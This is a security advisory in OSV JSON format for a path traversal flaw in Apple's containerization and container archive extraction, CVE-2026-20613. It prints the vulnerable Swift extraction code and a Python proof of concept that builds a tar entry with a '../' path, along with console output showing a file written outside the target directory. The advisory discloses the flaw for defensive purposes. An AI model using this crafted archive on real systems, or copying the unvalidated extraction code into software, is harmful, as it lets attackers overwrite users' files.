{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.20.1"
      },
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/apple/containerization"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.1"
      },
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/apple/container"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-20613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-22T22:30:05Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\nThe `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.\n\n### Details\n\nThe code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.\n\n```swift\n    /// Extracts the contents of an archive to the provided directory.\n    /// Currently only handles regular files and directories present in the archive.\n    public func extractContents(to directory: URL) throws {\n        let fm = FileManager.default\n        var foundEntry = false\n        for (entry, data) in self {\n            guard let p = entry.path else { continue }\n            foundEntry = true\n            let type = entry.fileType\n            let target = directory.appending(path: p)\n            switch type {\n            case .regular:\n                try data.write(to: target, options: .atomic)\n            case .directory:\n                try fm.createDirectory(at: target, withIntermediateDirectories: true)\n            case .symbolicLink:\n                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n                    continue\n                }\n                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n            default:\n                continue\n            }\n            chmod(target.path(), entry.permissions)\n            if let owner = entry.owner, let group = entry.group {\n                chown(target.path(), owner, group)\n            }\n        }\n        guard foundEntry else {\n            throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n        }\n    }\n```\n\n### PoC\n\nSample script `make-evil-tar.py`:\n\n```python\n#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n    info = tarfile.TarInfo(\n        name=\"../../../../../../../../../../../tmp/pwned.txt\"\n    )\n    info.size = len(payload)\n    info.mtime = int(time.time())\n    info.mode = 0o644\n\n    tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n```\n\n\n```console\n% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\n```\n\n### Impact\n\nAffects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function.\n\nAffects users of `container image load` in the container project.\n\nThese operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.",
  "id": "GHSA-cq3j-qj2h-6rv3",
  "modified": "2026-01-22T22:30:05Z",
  "published": "2026-01-22T22:30:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apple/containerization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Container and Containerization archive extraction does not guard against escapes from extraction base directory."
}